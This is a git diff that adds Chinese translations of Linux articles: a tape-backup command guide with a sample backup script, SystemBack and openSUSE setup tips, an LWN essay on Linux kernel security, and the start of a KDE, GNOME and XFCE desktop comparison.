+一个备份计划对定期备份文件来说很有必要,如果你宁愿选择不备份,那么丢失重要数据的风险会大大增加。有了备份,你就有了从磁盘故障中恢复的能力。备份还可以帮助你抵御: + +- 意外的文件删除 +- 文件或文件系统损坏 +- 服务器完全毁坏,包括由于火灾或其他问题导致的同盘备份毁坏 +- 硬盘或 SSD 崩溃 +- 病毒或勒索软件破坏或删除文件 + +你可以使用磁带归档备份整个服务器并将其离线存储。 + +### 理解磁带文件标记和块大小 ### + +![Fig.01: Tape file marks](http://s0.cyberciti.org/uploads/cms/2015/10/tape-format.jpg) + +*图01:磁带文件标记* + +每个磁带设备能存储多个备份文件。磁带备份文件通过 cpio,tar,dd 等命令创建。同时,磁带设备可以由多种程序打开、写入数据、及关闭。你可以存储若干备份(磁带文件)到一个物理磁带上。在每个磁带文件之间有个“磁带文件标记”。这用来指示一个物理磁带上磁带文件的结尾以及另一个文件的开始。你需要使用 mt 命令来定位磁带(快进,倒带和标记)。 + +#### 磁带上的数据是如何存储的 #### + +![Fig.02: How data is stored on a tape](http://s0.cyberciti.org/uploads/cms/2015/10/how-data-is-stored-on-a-tape.jpg) + +*图02:磁带上的数据是如何存储的* + +所有的数据使用 tar 以连续磁带存储格式连续地存储。第一个磁带归档会从磁带的物理开始端开始存储(tar #0)。接下来的就是 tar #1,以此类推。 + +### Unix 上的磁带设备名 ### + +1. /dev/rmt/0 或 /dev/rmt/1 或 /dev/rmt/[0-127] :Unix 上的常规磁带设备名。磁带自动倒回。 +1. /dev/rmt/0n :以无倒回为特征,换言之,磁带使用之后,停留在当前状态等待下个命令。 +1. /dev/rmt/0b :使用磁带接口,也就是 BSD 的行为。各种类型的操作系统比如 AIX,Windows,Linux,FreeBSD 等的行为更有可读性。 +1. /dev/rmt/0l :设置密度为低。 +1. /dev/rmt/0m :设置密度为中。 +1. /dev/rmt/0u :设置密度为高。 +1. /dev/rmt/0c :设置密度为压缩。 +1. /dev/st[0-9] :Linux 特定 SCSI 磁带设备名。 +1. /dev/sa[0-9] :FreeBSD 特定 SCSI 磁带设备名。 +1. /dev/esa0 :FreeBSD 特定 SCSI 磁带设备名,在关闭时弹出(如果可以的话)。 + +#### 磁带设备名示例 #### + +- /dev/rmt/1cn 指明正在使用 unity 1,压缩密度,无倒回。 +- /dev/rmt/0hb 指明正在使用 unity 0,高密度,BSD 行为。 +- Linux 上的自动倒回 SCSI 磁带设备名:/dev/st0 +- Linux 上的无倒回 SCSI 磁带设备名:/dev/nst0 +- FreeBSD 上的自动倒回 SCSI 磁带设备名:/dev/sa0 +- FreeBSD 上的无倒回 SCSI 磁带设备名:/dev/nsa0 + +#### 如何列出已安装的 scsi 磁带设备? #### + +输入下列命令: + + ### Linux(更多信息参阅 man) ### + lsscsi + lsscsi -g + + ### IBM AIX ### + lsdev -Cc tape + lsdev -Cc adsm + lscfg -vl rmt* + + ### Solaris Unix ### + cfgadm –a + cfgadm -al + luxadm probe + iostat -En + + ### HP-UX Unix ### + ioscan Cf + ioscan -funC tape + ioscan -fnC tape + ioscan -kfC tape + + +来自我的 Linux 服务器的输出示例: + +![Fig.03: Installed tape devices on Linux server](http://s0.cyberciti.org/uploads/cms/2015/10/linux-find-tape-devices-command.jpg) + +*图03:Linux 服务器上已安装的磁带设备* + +### mt 命令示例 ### + +在 Linux 和类 Unix 系统上,mt 命令用来控制磁带驱动器的操作,比如查看状态或查找磁带上的文件或写入磁带控制标记。下列大多数命令需要作为 root 用户执行。语法如下: + + mt -f /tape/device/name operation + +#### 设置环境 #### + +你可以设置 TAPE shell 变量。这是磁带驱动器的路径名。在 FreeBSD 上默认的(如果变量没有设置,而不是 null)是 /dev/nsa0。可以通过 mt 命令的 -f 参数传递变量覆盖它,就像下面解释的那样。 + + ### 添加到你的 shell 配置文件 ### + TAPE=/dev/st1 #Linux + TAPE=/dev/rmt/2 #Unix + TAPE=/dev/nsa3 #FreeBSD + export TAPE + +### 1:显示磁带/驱动器状态 ### + + mt status ### Use default + mt -f /dev/rmt/0 status ### Unix + mt -f /dev/st0 status ### Linux + mt -f /dev/nsa0 status ### FreeBSD + mt -f /dev/rmt/1 status ### Unix unity 1 也就是 tape device no. 1 + +你可以像下面一样使用 shell 循环语句遍历一个系统并定位其所有的磁带驱动器: + + for d in 0 1 2 3 4 5 + do + mt -f "/dev/rmt/${d}" status + done + +### 2:倒带 ### + + mt rew + mt rewind + mt -f /dev/mt/0 rewind + mt -f /dev/st0 rewind + +### 3:弹出磁带 ### + + mt off + mt offline + mt eject + mt -f /dev/mt/0 off + mt -f /dev/st0 eject + +### 4:擦除磁带(倒带,在支持的情况下卸载磁带) ### + + mt erase + mt -f /dev/st0 erase #Linux + mt -f /dev/rmt/0 erase #Unix + +### 5:张紧磁带盒 ### + +如果磁带在读取时发生错误,你重新张紧磁带,清洁磁带驱动器,像下面这样再试一次: + + mt retension + mt -f /dev/rmt/1 retension #Unix + mt -f /dev/st0 retension #Linux + +### 6:在磁带当前位置写入 EOF 标记 ### + + mt eof + mt weof + mt -f /dev/st0 eof + +### 7:将磁带前进指定的文件标记数目,即跳过指定个 EOF 标记 ### + +磁带定位在下一个文件的第一个块,即磁带会定位在下一区域的第一个块(见图01): + + mt fsf + mt -f /dev/rmt/0 fsf + mt -f /dev/rmt/1 fsf 1 #go 1 forward file/tape (see fig.01) + +### 8:将磁带后退指定的文件标记数目,即倒带指定个 EOF 标记 ### + +磁带定位在下一个文件的第一个块,即磁带会定位在 EOF 标记之后(见图01): + + mt bsf + mt -f /dev/rmt/1 bsf + mt -f /dev/rmt/1 bsf 1 #go 1 backward file/tape (see fig.01) + +这里是磁带定位命令列表: + + fsf 前进指定的文件标记数目。磁带定位在下一个文件的第一块。 + + fsfm 前进指定的文件标记数目。磁带定位在前一文件的最后一块。 + + bsf 后退指定的文件标记数目。磁带定位在前一文件的最后一块。 + + bsfm 后退指定的文件标记数目。磁带定位在下一个文件的第一块。 + + asf 磁带定位在指定文件标记数目的开始位置。定位通过先倒带,再前进指定的文件标记数目来实现。 + + fsr 前进指定的记录数。 + + bsr 后退指定的记录数。 + + fss (SCSI tapes)前进指定的 setmarks。 + + bss (SCSI tapes)后退指定的 setmarks。 + +### 基本备份命令 ### + +让我们来看看备份和恢复命令。 + +### 9:备份目录(tar 格式) ### + + tar cvf /dev/rmt/0n /etc + tar cvf /dev/st0 /etc + +### 10:恢复目录(tar 格式) ### + + tar xvf /dev/rmt/0n -C /path/to/restore + tar xvf /dev/st0 -C /tmp + +### 11:列出或检查磁带内容(tar 格式) ### + + mt -f /dev/st0 rewind; dd if=/dev/st0 of=- + + ### tar 格式 ### + tar tvf {DEVICE} {Directory-FileName} + tar tvf /dev/st0 + tar tvf /dev/st0 desktop + tar tvf /dev/rmt/0 foo > list.txt + +### 12:使用 dump 或 ufsdump 备份分区 ### + + ### Unix 备份 c0t0d0s2 分区 ### + ufsdump 0uf /dev/rmt/0 /dev/rdsk/c0t0d0s2 + + ### Linux 备份 /home 分区 ### + dump 0uf /dev/nst0 /dev/sda5 + dump 0uf /dev/nst0 /home + + ### FreeBSD 备份 /usr 分区 ### + dump -0aL -b64 -f /dev/nsa0 /usr + +### 12:使用 ufsrestore 或 restore 恢复分区 ### + + ### Unix ### + ufsrestore xf /dev/rmt/0 + ### Unix 交互式恢复 ### + ufsrestore if /dev/rmt/0 + + ### Linux ### + restore rf /dev/nst0 + ### 从磁带媒介上的第6个备份交互式恢复 ### + restore isf 6 /dev/nst0 + + ### FreeBSD 恢复 ufsdump 格式 ### + restore -i -f /dev/nsa0 + +### 13:从磁带开头开始写入(见图02) ### + + ### 这会覆盖磁带上的所有数据 ### + mt -f /dev/st1 rewind + + ### 备份 home ### + tar cvf /dev/st1 /home + + ### 离线并卸载磁带 ### + mt -f /dev/st0 offline + +从磁带开头开始恢复: + + mt -f /dev/st0 rewind + tar xvf /dev/st0 + mt -f /dev/st0 offline + +### 14:从最后一个 tar 后开始写入(见图02) ### + + ### 这会保留之前写入的数据 ### + mt -f /dev/st1 eom + + ### 备份 home ### + tar cvf /dev/st1 /home + + ### 卸载 ### + mt -f /dev/st0 offline + +### 15:从 tar number 2 后开始写入(见图02) ### + + ### 在 tar number 2 之后写入(应该是 2+1)### + mt -f /dev/st0 asf 3 + tar cvf /dev/st0 /usr + + ### asf 等效于 fsf ### + mt -f /dev/sf0 rewind + mt -f /dev/st0 fsf 2 + +从 tar number 2 恢复 tar: + + mt -f /dev/st0 asf 3 + tar xvf /dev/st0 + mt -f /dev/st0 offline + +### 如何验证使用 tar 创建的备份磁带? ### + +定期做全系统修复和服务测试是很重要的,这是唯一确定整个系统正确工作的途径。参见我们的[验证 tar 命令磁带备份的教程][1]以获取更多信息。 + +### 示例 shell 脚本 ### + + #!/bin/bash + # A UNIX / Linux shell script to backup dirs to tape device like /dev/st0 (linux) + # This script make both full and incremental backups. + # You need at two sets of five tapes. Label each tape as Mon, Tue, Wed, Thu and Fri. + # You can run script at midnight or early morning each day using cronjons. + # The operator or sys admin can replace the tape every day after the script has done. + # Script must run as root or configure permission via sudo. + # ------------------------------------------------------------------------- + # Copyright (c) 1999 Vivek Gite + # This script is licensed under GNU GPL version 2.0 or above + # ------------------------------------------------------------------------- + # This script is part of nixCraft shell script collection (NSSC) + # Visit http://bash.cyberciti.biz/ for more information. + # ------------------------------------------------------------------------- + # Last updated on : March-2003 - Added log file support. + # Last updated on : Feb-2007 - Added support for excluding files / dirs. + # ------------------------------------------------------------------------- + LOGBASE=/root/backup/log + + # Backup dirs; do not prefix / + BACKUP_ROOT_DIR="home sales" + + # Get todays day like Mon, Tue and so on + NOW=$(date +"%a") + + # Tape devie name + TAPE="/dev/st0" + + # Exclude file + TAR_ARGS="" + EXCLUDE_CONF=/root/.backup.exclude.conf + + # Backup Log file + LOGFIILE=$LOGBASE/$NOW.backup.log + + # Path to binaries + TAR=/bin/tar + MT=/bin/mt + MKDIR=/bin/mkdir + + # ------------------------------------------------------------------------ + # Excluding files when using tar + # Create a file called $EXCLUDE_CONF using a text editor + # Add files matching patterns such as follows (regex allowed): + # home/vivek/iso + # home/vivek/*.cpp~ + # ------------------------------------------------------------------------ + [ -f $EXCLUDE_CONF ] && TAR_ARGS="-X $EXCLUDE_CONF" + + #### Custom functions ##### + # Make a full backup + full_backup(){ + local old=$(pwd) + cd / + $TAR $TAR_ARGS -cvpf $TAPE $BACKUP_ROOT_DIR + $MT -f $TAPE rewind + $MT -f $TAPE offline + cd $old + } + + # Make a partial backup + partial_backup(){ + local old=$(pwd) + cd / + $TAR $TAR_ARGS -cvpf $TAPE -N "$(date -d '1 day ago')" $BACKUP_ROOT_DIR + $MT -f $TAPE rewind + $MT -f $TAPE offline + cd $old + } + + # Make sure all dirs exits + verify_backup_dirs(){ + local s=0 + for d in $BACKUP_ROOT_DIR + do + if [ ! -d /$d ]; + then + echo "Error : /$d directory does not exits!" + s=1 + fi + done + # if not; just die + [ $s -eq 1 ] && exit 1 + } + + #### Main logic #### + + # Make sure log dir exits + [ ! -d $LOGBASE ] && $MKDIR -p $LOGBASE + + # Verify dirs + verify_backup_dirs + + # Okay let us start backup procedure + # If it is Monday make a full backup; + # For Tue to Fri make a partial backup + # Weekend no backups + case $NOW in + Mon) full_backup;; + Tue|Wed|Thu|Fri) partial_backup;; + *) ;; + esac > $LOGFIILE 2>&1 + +### 关于第三方备份工具 ### + +Linux 和类Unix系统都提供了许多第三方工具,可以用来安排备份,包括磁带备份在内,如: + +- Amanda +- Bacula +- rsync +- duplicity +- rsnapshot + +另行参阅 + +- Man pages - [mt(1)][2], [mtx(1)][3], [tar(1)][4], [dump(8)][5], [restore(8)][6] + +-------------------------------------------------------------------------------- + +via: http://www.cyberciti.biz/hardware/unix-linux-basic-tape-management-commands/ + +作者:Vivek Gite +译者:[alim0x](https://github.com/alim0x) +校对:[Mr小眼儿](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:http://www.cyberciti.biz/faq/unix-verify-tape-backup/ +[2]:http://www.manpager.com/linux/man1/mt.1.html +[3]:http://www.manpager.com/linux/man1/mtx.1.html +[4]:http://www.manpager.com/linux/man1/tar.1.html +[5]:http://www.manpager.com/linux/man8/dump.8.html +[6]:http://www.manpager.com/linux/man8/restore.8.html diff --git a/published/201605/20151201 Backup (System Restore Point) your Ubuntu or Linux Mint with SystemBack.md b/published/201605/20151201 Backup (System Restore Point) your Ubuntu or Linux Mint with SystemBack.md new file mode 100644 index 0000000000..aeb82f69e4 --- /dev/null +++ b/published/201605/20151201 Backup (System Restore Point) your Ubuntu or Linux Mint with SystemBack.md @@ -0,0 +1,44 @@ +使用 SystemBack 备份/还原你的 Ubuntu/Linux Mint +================================================= + +对于任何一款允许用户还原电脑到之前状态(包括文件系统,安装的应用,以及系统设置)的操作系统来说,系统还原功能都是必备功能,它可以恢复系统故障以及其他的问题。 + +有的时候安装一个程序或者驱动可能让你的系统黑屏。系统还原则可以让你电脑里面的系统文件(LCTT 译注:是系统文件,并非普通文件,详情请看**注意**部分)和程序恢复到之前工作正常时候的状态,进而让你远离那让人头痛的排障过程了,而且它也不会影响你的文件,照片或者其他数据。 + +简单的系统备份还原工具 [Systemback](https://launchpad.net/systemback) 可以让你很容易地创建系统备份以及用户配置文件。一旦遇到问题,你可以简单地恢复到系统先前的状态。它还有一些额外的特征包括系统复制,系统安装以及Live系统创建。 + +**截图** + +![systemback](http://2.bp.blogspot.com/-2UPS3yl3LHw/VlilgtGAlvI/AAAAAAAAGts/ueRaAghXNvc/s1600/systemback-1.jpg) + +![systemback](http://2.bp.blogspot.com/-7djBLbGenxE/Vlilgk-FZHI/AAAAAAAAGtk/2PVNKlaPO-c/s1600/systemback-2.jpg) + +![](http://3.bp.blogspot.com/-beZYwKrsT4o/VlilgpThziI/AAAAAAAAGto/cwsghXFNGRA/s1600/systemback-3.jpg) + +![](http://1.bp.blogspot.com/-t_gmcoQZrvM/VlilhLP--TI/AAAAAAAAGt0/GWBg6bGeeaI/s1600/systemback-5.jpg) + +**注意**:使用系统还原不会还原你自己的文件、音乐、电子邮件或者其他任何类型的私人文件。对不同用户来讲,这既是优点又是缺点。坏消息是它不会还原你意外删除的文件,不过你可以通过一个文件恢复程序来解决这个问题。如果你的计算机没有创建还原点,那么系统恢复就无法奏效,所以这个工具就无法帮助你(还原系统),如果你尝试恢复一个主要问题,你将需要移步到另外的步骤来进行故障排除。 + +> 适用于 Ubuntu 15.10 Wily/16.04/15.04 Vivid/14.04 Trusty/Linux Mint 14.x/其他Ubuntu衍生版,打开终端,将下面这些命令复制过去: + +终端命令: + +``` +sudo add-apt-repository ppa:nemh/systemback +sudo apt-get update +sudo apt-get install systemback + +``` + +大功告成。 + +-------------------------------------------------------------------------------- + +via: http://www.noobslab.com/2015/11/backup-system-restore-point-your.html + +译者:[DongShuaike](https://github.com/DongShuaike) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/systemback diff --git a/published/201605/20151202 8 things to do after installing openSUSE Leap 42.1.md b/published/201605/20151202 8 things to do after installing openSUSE Leap 42.1.md new file mode 100644 index 0000000000..38cefbf356 --- /dev/null +++ b/published/201605/20151202 8 things to do after installing openSUSE Leap 42.1.md @@ -0,0 +1,111 @@ +安装 openSUSE Leap 42.1 之后要做的 8 件事 +================================================================================ +![Credit: Metropolitan Transportation/Flicrk](http://images.techhive.com/images/article/2015/11/things-to-do-100626947-primary.idge.jpg) + +*致谢:[Metropolitan Transportation/Flicrk][1]* + +> 如果你已经在你的电脑上安装了 openSUSE,这就是你接下来要做的。 + +[openSUSE Leap 确实是个巨大的飞跃][2],它允许用户运行一个和 SUSE Linux 企业版拥有同样基因的发行版。和其它系统一样,为了实现最佳的使用效果,在使用它之前需要做些优化设置。 + +下面是一些我在我的电脑上安装 openSUSE Leap 之后做的一些事情(不适用于服务器)。这里面没有强制性的设置,基本安装对你来说也可能足够了。但如果你想获得更好的 openSUSE Leap 体验,那就跟着我往下看吧。 + +### 1. 添加 Packman 仓库 ### + +由于专利和授权等原因,openSUSE 和许多 Linux 发行版一样,不通过官方仓库(repos)提供一些软件、解码器,以及驱动等。取而代之的是通过第三方或社区仓库来提供。第一个也是最重要的仓库是“Packman”。因为这些仓库不是默认启用的,我们需要添加它们。你可以通过 YaST(openSUSE 的特色之一)或者命令行完成(如下方介绍)。 + +![o42 yast repo](http://images.techhive.com/images/article/2015/11/o42-yast-repo-100626952-large970.idge.png) + +*添加 Packman 仓库。* + +使用 YaST,打开软件源部分。点击“添加”按钮并选择“社区仓库(Community Repositories)”。点击“下一步”。一旦仓库列表加载出来了,选择 Packman 仓库。点击“确认”,然后点击“信任”导入信任的 GnuPG 密钥。 + +或者在终端里使用以下命令添加并启用 Packman 仓库: + + zypper ar -f -n packmanhttp://ftp.gwdg.de/pub/linux/misc/packman/suse/openSUSE_Leap_42.1/ packman + +仓库添加之后,你就可以使用更多的包了。想安装任意软件或包,打开 YaST 软件管理器,搜索并安装即可。 + +### 2. 安装 VLC ### + +VLC 是媒体播放器里的瑞士军刀,几乎可以播放任何媒体文件。你可以从 YaST 软件管理器 或 software.opensuse.org 安装 VLC。你需要安装两个包:vlc 和 vlc-codecs。 + +如果你用终端,运行以下命令: + + sudo zypper install vlc vlc-codecs + +### 3. 安装 Handbrake ### + +如果你需要转码或转换视频文件格式,[Handbrake 是你的不二之选][3]。Handbrake 就在我们启用的仓库中,所以只需要在 YaST 中搜索并安装它即可。 + +如果你用终端,运行以下命令: + + sudo zypper install handbrake-cli handbrake-gtk + +(提示:VLC 也能转码音频和视频文件。) + +### 4. 安装 Chrome ### + +openSUSE 的默认浏览器是 Firefox。但是因为 Firefox 不能够播放专有媒体,比如 Netflix,我推荐安装 Chrome。这需要额外的工作。首先你需要从谷歌导入信任密钥。打开终端执行“wget”命令下载密钥: + + wget https://dl.google.com/linux/linux_signing_key.pub + +然后导入密钥: + + sudo rpm --import linux_signing_key.pub + +现在到 [Google Chrome 网站][4] 去,下载 64 位 .rpm 文件。下载完成后执行以下命令安装浏览器: + + sudo zypper install /PATH_OF_GOOGLE_CHROME.rpm + +### 5. 安装 Nvidia 驱动 ### + +即便你使用 Nvidia 或 ATI 显卡,openSUSE Leap 也能够开箱即用。但是,如果你需要专有驱动来游戏或其它目的,你可以安装这些驱动,但需要一点额外的工作。 + +首先你需要添加 Nvidia 源;它的步骤和使用 YaST 添加 Packman 仓库是一样的。唯一的不同是你需要在社区仓库部分选择 Nvidia。添加好了之后,到 **软件管理 > 附加** 去并选择“附加/安装所有匹配的推荐包”。 + +![o42 nvidia](http://images.techhive.com/images/article/2015/11/o42-nvidia-100626950-large.idge.png) + +它会打开一个对话框,显示所有将要安装的包,点击确认后按介绍操作。添加了 Nvidia 源之后你也可以通过命令安装需要的 Nvidia 驱动: + + sudo zypper inr + +(注:我没使用过 AMD/ATI 显卡,所以这方面我没有经验。) + +### 6. 安装媒体解码器 ### + +你安装 VLC 之后就不需要安装媒体解码器了,但如果你要使用其它软件来播放媒体的话就需要安装了。一些开发者写了脚本/工具来简化这个过程。打开[这个页面][5]并点击合适的按钮安装完整的包。它会打开 YaST 并自动安装包(当然通常你还需要提供 root 权限密码并信任 GnuPG 密钥)。 + +### 7. 安装你喜欢的电子邮件客户端 ### + +openSUSE 自带 Kmail 或 Evolution,这取决于你安装的桌面环境。我用的是 KDE Plasma 自带的 Kmail,这个邮件客户端还有许多地方有待改进。我建议可以试试 Thunderbird 或 Evolution。所有主要的邮件客户端都能在官方仓库找到。你还可以看看我[精心挑选的 Linux 最佳邮件客户端][7]。 + +### 8. 在防火墙允许 Samba 服务 ### + +相比于其它发行版,openSUSE 默认提供了更加安全的系统。但对新用户来说它也需要一点设置。如果你正在使用 Samba 协议分享文件到本地网络的话,你需要在防火墙允许该服务。 + +![o42 firewall](http://images.techhive.com/images/article/2015/11/o42-firewall-100626948-large970.idge.png) + +*在防火墙设置里允许 Samba 客户端和服务端* + +打开 YaST 并搜索 Firewall。在防火墙设置里,进入到“允许的服务(Allowed Services)”,你会在“要允许的服务(Service to allow)”下面看到一个下拉列表。选择“Samba 客户端”,然后点击“添加”。同样方法添加“Samba 服务器”。都添加了之后,点击“下一步”,然后点击“完成”,现在你就可以通过本地网络从你的 openSUSE 分享文件以及访问其它机器了。 + +这差不多就是我以我喜欢的方式对我的新 openSUSE 系统做的所有设置了。如果你有任何问题,欢迎在评论区提问。 + +-------------------------------------------------------------------------------- + +via: http://www.itworld.com/article/3003865/open-source-tools/8-things-to-do-after-installing-opensuse-leap-421.html + +作者:[Swapnil Bhartiya][a] +译者:[alim0x](https://github.com/alim0x) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.itworld.com/author/Swapnil-Bhartiya/ +[1]:https://www.flickr.com/photos/mtaphotos/11200079265/ +[2]:https://www.linux.com/news/software/applications/865760-opensuse-leap-421-review-the-most-mature-linux-distribution +[3]:https://www.linux.com/learn/tutorials/857788-how-to-convert-videos-in-linux-using-the-command-line +[4]:https://www.google.com/intl/en/chrome/browser/desktop/index.html#brand=CHMB&utm_campaign=en&utm_source=en-ha-na-us-sk&utm_medium=ha +[5]:http://opensuse-community.org/ +[6]:http://www.itworld.com/article/2875981/the-5-best-open-source-email-clients-for-linux.html diff --git a/published/201605/20151202 A new Mindcraft moment.md b/published/201605/20151202 A new Mindcraft moment.md new file mode 100644 index 0000000000..cfb240e220 --- /dev/null +++ b/published/201605/20151202 A new Mindcraft moment.md @@ -0,0 +1,46 @@ +又一次 Mindcraft 事件? +======================= + +Linux 内核开发很少吸引像华盛顿邮报这样主流媒体的关注,内核社区在安全方面进展的冗长功能列表就更少人看了。所以当[这样一个专题][1]发布到网上,就吸引了很多人的注意(LCTT 译注:华盛顿邮报发表了一篇很长的[专题文章][2],批评 Linux “没有一个系统性的机制以在骇客之前发现和解决安全问题,或引入更新的防御技术”,“Linux 内核开发社区没有一个首席安全官”等等)。关于这篇文章有不同的反应,很多人认为这是对 Linux 直接的攻击。文章背后的动机很难知道,但是从历史经验来看,它也可以看作对我们早就该前进的方向的一次非常必要的推动。 + +回顾一件昏暗遥远过去的事件 - 确切地说是在 1999 年 4 月。一家叫 Mindcraft 的分析公司发布了一份[报告][3]显示 Windows NT 在 Web 服务器开销方面完胜 Red Hat Linux 5.2 加 Apache。Linux 社区,包括当时还[很年轻的 LWN][4],对此反应很迅速而且强烈。这份报告是微软资助的 FUD 的一部分,用来消除那些全球垄断计划的新兴威胁。报告中所用的 Linux 系统有意配置成低性能,同时选择了当时 Linux 并不能很好支持的硬件,等等。 + +在大家稍微冷静一点后,尽管如此,事实很明显:Mindcraft 的人,不管什么动机,说的也有一定道理。当时 Linux 确实在性能方面存在一些已经被充分认识到的问题。然后社区做了最正确的事情:我们坐下来解决问题。比如,单独唤醒的调度器可以解决接受连接请求时的[惊群问题][5]。其他很多小问题也都解决了。在差不多一年里,内核在这类开销方面的性能已经有了非常大的改善。 + +这份 Mindcraft 的报告,某种意义上来说,往 Linux 屁股上踢了很有必要的一脚,推动整个社区去处理一些当时被忽略的事情。 + +华盛顿邮报的文章明显以负面的看法看待 Linux 内核以及它的贡献者。它随意地混淆了内核问题和其他根本不是内核脆弱性引起的问题(比如,AshleyMadison.com 被黑)。不过供应商没什么兴趣为他们的客户提供安全补丁的事实,就像一头在房间里巨象一样明显。还有谣言说这篇文章后面的黑暗势力希望打击一下 Linux 的势头。这些也许都是真的,但是也不能掩盖一个简单的事实,就是文章说的确实是真的。 + +我们会合理地测试并解决问题。而这些问题,不管是不是安全相关,能很快得到修复,然后再通过稳定更新的机制将这些补丁发布给内核用户。比起外面很多应用程序(自由的和商业的),内核的支持工作做的非常好。但是指责我们解决问题的能力时却遗漏了关键的一点:解决安全问题终究来说是一个打鼹鼠游戏。总是会出来更多的鼹鼠,其中有一些在攻击者发现并利用后很长时间我们都还不知道(所以没法使劲打下去)。尽管 Linux 的商业支持已经非常努力地在将补丁传递给用户,这种问题还是会让我们的用户很受伤 - 只是这并不是故意的。 + +关键是只是解决问题并不够,一些关心安全性的开发者也已经开始尝试做些什么。我们必须认识到,缺陷永远都解决不完,所以要让缺陷更难被发现和利用。这意思就是限制访问内核信息,绝对不允许内核执行用户空间内存中的指令,让内核去侦测整形溢出,以及 [Kee Cook 在十月底内核峰会的讲话][6]中所提出的其他所有事情。其中许多技术被其他操作系统深刻理解并采用了;另外一些需要我们去创新。但是,如果我们想充分保护我们的用户免受攻击,这些改变是必须要做的。 + +为什么内核还没有引入这些技术?华盛顿邮报的文章坚定地指责开发社区,特别是 Linus Torvalds。内核社区的传统就是相对安全性更侧重于性能和功能,在需要牺牲性能来改善内核安全性时并不愿意折衷处理。这些指责一定程度上是对的;好的一面是,因为问题的范围变得清晰,态度看上去有所改善。Kee 的演讲都听进去了,而且很明显让开发者开始思考和讨论这些问题了。 + +而被忽略的一点是,并不仅仅是 Linus 在拒绝有用的安全补丁。而是就没有多少这种补丁在内核社区里流传。特别是,在这个领域工作的开发者就那么些人,而且从没有认真地尝试把自己的工作整合到上游。要合并任何大的侵入性补丁,需要和内核社区一起工作,为这些改动编写用例,将改动分割成方便审核的碎片,处理审核意见,等等。整个过程可能会有点无聊而且让人沮丧,但这却是内核维护的运作方式,而且很明显只有这样才能在长时间的开发中形成更有用更可维护的内核。 + +几乎没有人会走这个流程来将最新的安全技术引入内核。对于这类补丁可能收到的不利反应,有人觉得也许会导致“寒蝉效应”,但是这个说法并不充分:不管最初的反应有多麻烦,多年以来开发者已经合并了大量的改动。而少数安全开发者连试都没试过。 + +他们为什么不愿意尝试?一个比较明显的答案是,几乎没有人会因此拿到报酬。几乎所有引入内核的工作都由付费开发者完成,而且已经持续多年。公司能看到利润的领域在内核里都有大量的工作以及很好的进展。而公司觉得和它们没关系的领域就不会这样了。为实时 Linux 的开发找到赞助支持的困难就是很明显的例子。其他领域,比如文档,也在慢慢萧条。安全性很明显也属于这类领域。可能有很多原因导致 Linux 落后于防御式安全技术,但是其中最关键的一条是,靠 Linux 赚钱的公司没有重视这些技术的开发和应用。 + +有迹象显示局面已有所转变。越来越多的开发人员开始关注安全相关问题,尽管对他们工作的商业支持还仍然不够。对于安全相关的改变已经没有之前那样的下意识反应了。像[内核自我保护项目][7]这样,已经开始把现有的安全技术集成进入内核了。 + +我们还有很长的路要走,但是,如果能有一些支持以及正确的观念,短期内就能有很大的进展。内核社区在确定了自己的想法后可以做到很让人惊叹的事情。幸运的是,华盛顿邮报的文章将有助于提供形成这种想法的必要动力。以历史的角度看,我们很可能会把这次事件看作一个转折点,我们最终被倒逼着去完成之前很明确需要做的事情。Linux 不应该再继续讲述这个安全不合格的故事了。 + +--------------------------- + +via: https://lwn.net/Articles/663474/ + +作者:Jonathan Corbet +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]: https://lwn.net/Articles/663338/ +[2]:http://www.washingtonpost.com/sf/business/2015/11/05/net-of-insecurity-the-kernel-of-the-argument/ +[3]: http://www.mindcraft.com/whitepapers/nts4rhlinux.html +[4]: https://static.lwn.net/1999/features/MindCraft1.0.php3 +[5]: https://en.wikipedia.org/wiki/Thundering_herd_problem +[6]: https://lwn.net/Articles/662219/ +[7]: https://lwn.net/Articles/663361/ \ No newline at end of file diff --git a/published/201605/20151202 KDE vs GNOME vs XFCE Desktop.md b/published/201605/20151202 KDE vs GNOME vs XFCE Desktop.md new file mode 100644 index 0000000000..4eb3044958 --- /dev/null +++ b/published/201605/20151202 KDE vs GNOME vs XFCE Desktop.md @@ -0,0 +1,53 @@ +KDE、GNOME 和 XFCE 桌面比较 +================================================================================ +![](http://1426826955.rsc.cdn77.org/wp-content/uploads/2013/07/300px-Xfce_logo.svg_.png) + +这么多年来,很多人一直都在他们的 linux 桌面端使用 KDE 或者 GNOME 桌面环境。在这两个桌面环境多年不断发展的同时,其它的桌面也在持续增加它们的用户规模。举个例子说,在轻量级桌面环境下,XFCE 一举成为了最受欢迎的桌面环境,相较于 LXDE 缺少的优美视觉效果,默认配置下的 XFCE 在这方面就可以打败前者。XFCE 提供的功能特性都能在 GNOME2 下得到,然而,在一些较老的计算机上,它的轻量级的特性却能取得更好的效果。 + +### 桌面主题定制 ### + +用户完成安装之后,XFCE 看起来可能会有一点无趣,因为它在视觉上还缺少一些吸引力。但是,请不要误解我的话, XFCE 仍然拥有漂亮的桌面,但是对于大多数刚刚接触 XFCE 桌面环境的人来说,可能它看起来像香草一样普普通通。不过好消息是当我们想要给 XFCE 安装新的主题的时候,这会是一个十分轻松的过程,因为你能够快速的找到你喜欢的 XFCE 主题,之后你就可以将它解压到一个合适的目录中。从这一点上来说,XFCE 自带的一个放在“外观”下的重要的图形界面工具可以帮助用户更加容易的选择中意的主题,这可能是目前在 XFCE 上这方面最好用的工具了。如果用户按照上面的建议去做的话,对于想要尝试使用 XFCE 的任何用户来说都将不存在困难。 + +在 GNOME 桌面上,用户也可以按照类似上面的方法去做。不过,其中最主要的不同点就是在你做之前,用户必须手动下载并安装 GNOME Tweak Tool。当然,对于使用来说都不会有什么障碍,但是对于用户来说,使用 XFCE 安装和激活主题并不需要去额外去下载安装各种调整工具,这可能是他们无法忽略的一个优势。而在 GNOME 上,尤其是在用户已经下载并安装了 GNOME Tweak tool 之后,你仍将必须确保你已经安装了“用户主题扩展”。 + 